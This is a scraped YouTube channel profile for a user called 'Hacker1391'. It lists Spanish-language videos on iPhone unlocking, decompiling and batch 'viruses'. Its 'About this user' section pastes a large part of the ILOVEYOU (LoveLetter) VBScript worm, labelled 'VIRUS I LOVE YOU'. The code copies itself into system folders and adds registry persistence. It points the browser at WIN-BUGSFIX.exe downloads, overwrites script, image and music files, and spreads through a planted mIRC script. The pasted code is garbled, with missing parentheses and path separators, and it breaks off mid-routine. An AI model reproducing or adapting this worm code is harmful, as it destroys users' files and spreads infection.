Hacker1391's Channel

3,384 subscribers

1,128,098 video views

Play All

Uploaded videos

1-10 of 11

Liberar iPhone Firmware 2.1 de un solo paso (PARTE 2) Hacker1391 14,396 views Liberar el iphone de un solo paso PARTE 2,Espero que este video les sirva de mucha ayuda :D,Slau2 a todos y un abrazo
Liberar iPhone Firmware 2.1 de un solo paso (PARTE 1) Hacker1391 28,448 views Este archivo es "OBLIGATORIO", Ya que si le instalas otro firmware no se podra desbloquear, el archivo contiene ya el desbloqueo salu2:D LINK: http://www.megaupload.com...
Hola Mundo en Ensamblador Hacker1391 41,076 views LINK: http://www.upseros.net/compiladores.php Bueno hoy les mostrare un pequeño tutorial para que vean como se usa el lenguaje ensamblador y como es que la maquina tra...
Sacar codigo fuente de un .exe de Visual Basic Hacker1391 47,489 views http://www.soft3k.com/VB-Decompiler-Lite-download9887.htm Ahi descargan el VB Decompiler Lite Bueno en este tutorial explico como sacar el codigo fuente de un .exe cr...
Quitarle los errores al disco duro Hacker1391 124,450 views http://es.youtube.com/Hacker1391 SUBSCRIBETE. Hola a todos este es mi 3 er video de esta semana espero que les guste salu2 y cuidense
Cambiar el aspecto de tu maletin Hacker1391 2,595 views http://es.youtube.com/hacker1391 Hola a todos despues de un gran descanzo regrese a todos esos pendejos que me criticaban los videos se callaran la boca... como digo ...
Virus que traba la computadora Hacker1391 117,562 views Este virus esta creado en programacion btach solo lo puse para que supieran como se hacen los virus.- Este virus solo te traba la computadora y te la vuelve un poco mas le...
crear carpeta invisible y un atajo para el internet Hacker1391 10,700 views esta vez crearemos una carpeta invisible y en el mismo video les enseñare un pequeño atajo para ahorrar tiempo en internet con tan solo apretar Ctrl + enter y listo espero ...
Abrir mas rapido los programas Hacker1391 146,705 views Con este truco vas a abrir mas rapido los programas por que utilizas mas la memoria ram y no utilizas tanto el disco duro
Como funcionan los virus Hacker1391 33,487 views Este solamente es un virus de prueba solo lo hice para que observen como funcionan los virus despues subire mas videos sobre los virus saludos y espero que les guste

About B!3NV3N!D0S, ATT3: H4CK3R1391

——————/´ ¯/)poner esto
—————--/—-/entu canal
—————-/—-/si quieres
———--/´¯/'--'/´¯`·_que el
———-/'/--/—-/—--/¨¯\elreggaeto
——--('(———- ¯~/'--')se
———\————-'—--/valla
———-'\'————_-·´mucho
————\———--(a la mierda
————-\———--\por favor

less

Created by

Hacker1391

Latest Activity

Mar 8, 2011

Date Joined

Nov 19, 2007

About this user

rem barok -loveletter(vbe)
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject"
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell"
rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting
HostSettingsTimeout"
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting
HostSettingsTimeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"MSKernel32.vbs"
c.Copy(dirwin&"Win32DLL.vbs"
c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs"
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32",dirsystem&"MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesWin32DLL",dirwin&"Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDownload
Directory"
if (downread="" then
downread="c:"
end if
if (fileexist(dirsystem&"WinFAT32.exe" =1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"WIN-BUGSFIX.exe" =0) then
regcreate
"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunWIN-BUGSFIX",downread&"WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart
Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&""
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs" or (ext="vbe" then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js" or (ext="jse" or (ext="css" or (ext="wsh" or (ext="sct" or
(ext="hta" then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&""&bname&".vbs"
fso.DeleteFile(f1.path)
elseif(ext="jpg" or (ext="jpeg" then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs"
fso.DeleteFile(f1.path)
elseif(ext="mp3" or (ext="mp2" then
set mp3=fso.CreateTextFile(f1.path&".vbs"
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe" or (s="mlink32.exe" or (s="mirc.ini" or (s="script.ini"
or (s="mirc.hlp" then
set scriptini=fso.CreateTextFile(folderspec&"script.ini"
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if
mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next...........................................

"VIRUS I LOVE YOU"

Country

Mexico

Occupation

HACKING...

Companies

...

Schools

En mi casa, No tengo a nadie mas que a mi mismo

Interests

Private Sub Command1_click ()

Msgbox "Gracias a todos por visitar mi Canal¡", VbInformation, "Agradecimientos"

End Sub

less

Featured Playlists

11 videos Play all(11) Uploaded videos by B!3NV3N!D0S, ATT3: H4CK3R1391

158 videos Play all(158) Favorite videos by B!3NV3N!D0S, ATT3: H4CK3R1391

1 videos Play all(1) Mi Vlog by B!3NV3N!D0S, ATT3: H4CK3R1391